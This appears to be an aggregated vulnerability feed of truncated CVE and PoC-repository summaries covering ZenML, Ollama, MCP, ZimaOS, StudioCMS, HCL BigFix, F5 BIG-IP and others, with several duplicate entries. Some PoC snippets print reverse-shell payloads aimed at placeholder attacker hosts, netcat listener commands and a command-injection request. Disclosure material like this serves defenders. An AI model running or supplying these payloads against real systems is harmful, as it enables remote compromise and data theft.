zenml-CVE-2024-2083-POC

CVE-2024-2083 – ZenML 任意文件读取 PoC 本仓库演示了如何复现 CVE-2024-2083 ，即 ZenML 中的任意文件读取漏洞。 该漏洞允许攻击者通过滥用 /api/v1/steps API 请求中的 logs.uri 字段，从服务器文件系统读取文件。通过使用代理修改此值，可以执行路径遍历，从而通过 ZenML 用户界面日志泄露敏感文件。 概述 漏洞编号： CVE-2024-2083 受影响软件： ZenML 影响： 通过路径遍历实现任意文件读取 攻击向量： 操纵 /api/v1/steps API 请求中的 logs.uri 攻击方式为拦截管道运行时生成的...

CVE-2026-7020

CVE-2026-7020 通过 tensor digest 路径遍历实现 Ollama 任意文件读取。可通过三次未认证的 API 调用，从可达的 Ollama 主机上窃取 SSH 主机密钥（以及任何其他文件）。 Writeup： 共同研究者 @gouldnicholas 使用方法 python3 poc.py 尝试所有三种已知大小的 SSH 主机密钥类型，并打印捕获到的内容。 CVE CVE-2026-7020...

CVE-2026-23520

CVE-2026-23520 MCP API 远程命令执行（RCE）PoC 📌 概述 本仓库包含一个针对远程命令执行（RCE）漏洞的概念验证（PoC）利用程序，该漏洞影响暴露易受攻击的 MCP API 端点（通常为 /api/mcp/connect）的应用程序。 该漏洞允许通过精心构造的 API 请求执行系统级命令。 🚀 快速开始 1. 启动监听器 nc -lvnp ATTACKERPORT 2. 运行利用程序 python3 exploit.py TARGET --lhost ATTACKERIP --lport ATTACKERPORT 📥 使用方法 python3...

CVE-2026-67171

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

zimaos-cve-2026-28286-arbitrary-file-write

🚨 CVE-2026-28286 — ZimaOS 任意文件写入 从 API 配置错误 → 任意文件写入 → 潜在的系统沦陷 ⚡ 快速摘要 端点： /v21/files/file 问题： 缺少路径验证 影响： 可在预期目录之外进行任意文件写入 严重性： 🔴 严重 🧪 快速开始 git clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git cd zimaos-cve-2026-28286-arbitrary-file-write pip install -r requirements.t...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP RCE 漏洞利用（Linux） 用于利用 /api/mcp/connect 实现远程命令执行的 PoC。 环境要求 pip install requests 使用方法 python3 exploit.py 示例： python3 exploit.py mcp.something.com 配置（在脚本中修改） attackerip = "YOURIP" port = 4444 监听器 nc -lvnp 4444 载荷 默认： busybox nc -e /bin/sh 备用： rm /tmp/f; mkfifo /tmp/f; cat /tmp...

CVE-2026-35045-PoC

CVE-2026-35045 — Tandoor Recipes 中的对象级授权失效漏洞 摘要 Tandoor Recipes v2.6.1 中的 PUT /api/recipe/batchupdate/ 端点允许 Space 内的任何已认证用户 修改该 Space 中的任意食谱——包括其他用户拥有的私有食谱。这完全绕过了所有标准单食谱端点上强制执行的对象级授权检查。 根本原因是 Django REST Framework 的一个行为缺陷 ：detail=False 列表操作永远不会调用 hasobjectpermission，只会调用 haspermission。查询集仅通过...

CVE-2026-30945-PoC

🗑️ CVE-2026-30945 StudioCMS IDOR — 任意 API 令牌撤销导致拒绝服务 NVD • 安全公告 • CWE-639 概述 StudioCMS ≤ 0.3.0 中的 DELETE /studiocmsapi/dashboard/api-tokens 端点允许任何具有 editor 或更高级别权限的已认证用户撤销任何其他用户 （包括 admin 和 owner 账户）的 API 令牌。 该处理程序直接从请求负载中接受 tokenID 和 userID，而不验证令牌所有权、调用者身份或角色层级。这使得针对关键集成和自动化系统的定向拒绝服务 成为可能。 相关说明：...

EUVD-2026-57810

SiYuan: The reference filter for getRefIDs checks visibility but not the password tier, disclosing that password-protected documents reference a given block...

CVE-2026-67171 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

CVE-2026-67171

HCL BigFix Service Management is impacted by an Information Disclosure vulnerability. The root cause is an exposed API endpoint that reveals sensitive internal database information, which could be leveraged by an attacker to facilitate targeted database attacks . No specific exploit details or re...

CVE-2026-67171 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

EUVD-2026-90903

HCL BigFix Service Management is affected by an Information Disclosure vulnerability because an exposed API endpoint exposes sensitive internal database information. This information could enable an attacker to facilitate targeted database attacks...

EUVD-2026-57811

SiYuan: Outline state for any document, including documents forbidden to readers, is returned by /api/storage/getOutlineStorage with no access check...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の確認とエクスプロイト インストール: python3 -m pip install -r requirements.txt 使用方法 単一 : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 複数 : python3 cve.py m host list endpoint apicommand poo...

CVE-2026-103533

A path traversal vulnerability exists in the database-servers API Endpoint of David-Crty databasement versions up to 1.7.1 . The flaw is located in the app/Http/Requests/Api/V1/RestoreRequest.php file and stems from the improper handling of the schema_name argument. An attacker can potentially la...

CVE-2026-103533 David-Crty databasement database-servers API Endpoint RestoreRequest.php 511 path traversal

A vulnerability was found in David-Crty databasement up to 1.7.1. This impacts the function https:/github.com/David-Crty/databasement/pull/511 of the file app/Http/Requests/Api/V1/RestoreRequest.php of the component database-servers API Endpoint. The manipulation of the argument schemaname result...

CVE-2026-103533 David-Crty databasement database-servers API Endpoint RestoreRequest.php 511 path traversal

A vulnerability was found in David-Crty databasement up to 1.7.1. This impacts the function https:/github.com/David-Crty/databasement/pull/511 of the file app/Http/Requests/Api/V1/RestoreRequest.php of the component database-servers API Endpoint. The manipulation of the argument schemaname result...

CVE-2026-103533 David-Crty databasement database-servers API Endpoint RestoreRequest.php 511 path traversal

A vulnerability was found in David-Crty databasement up to 1.7.1. This impacts the function https:/github.com/David-Crty/databasement/pull/511 of the file app/Http/Requests/Api/V1/RestoreRequest.php of the component database-servers API Endpoint. The manipulation of the argument schemaname result...

CVE-2026-18783

The Trex MES software by Trex Digital Smart Manufacturing Systems Inc. is vulnerable to an Authentication Bypass due to missing server-side authentication on a REST API endpoint . This vulnerability allows unauthorized access to critical functions. The issue affects versions through 2026-09-29 . ...